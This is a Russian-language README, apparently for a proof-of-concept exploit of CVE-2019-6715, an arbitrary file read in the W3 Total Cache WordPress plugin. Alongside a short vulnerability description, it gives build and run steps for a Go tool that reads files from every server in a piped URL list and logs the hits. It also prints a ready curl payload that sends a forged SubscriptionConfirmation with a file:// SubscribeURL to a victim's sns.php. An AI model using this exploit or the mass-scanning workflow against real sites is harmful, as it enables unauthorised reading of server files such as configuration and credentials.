random-robbie/cve-2019-6715Эксплойт PoC для CVE-2019-6715: произвольное чтение файлов в плагине W3 Total Cache для WordPress с помощью поддельного JSON SubscriptionConfirmation. Читает файлы с уязвимых серверов, используя список URL-адресов, передаваемый через pipe.
go get github.com/fatih/color
go build
cat list.txt | ./2019-6715
Все уязвимые URL записываются в text.log
Описание: pub/sns.php в плагине W3 Total Cache версии ниже 0.9.4 для WordPress позволяет удалённым злоумышленникам читать произвольные файлы через поле SubscribeURL в JSON-данных SubscriptionConfirmation.
Тип уязвимости: чтение произвольных файлов
Производитель: плагин Wordpress W3 Total Cache от Frederick Townes
Затрагиваемые версии продукта: W3 Total Cache - 0.9.2.6 - 0.9.3, исправлено в 0.9.4
Затрагиваемый компонент: файл исходного кода: w3-total-cache/pub/sns.php
curl -X PUT --data '{"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"file://file_path"}' -H 'User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36' http://victim.com/wp-content/plugins/w3-total-cache/pub/sns.php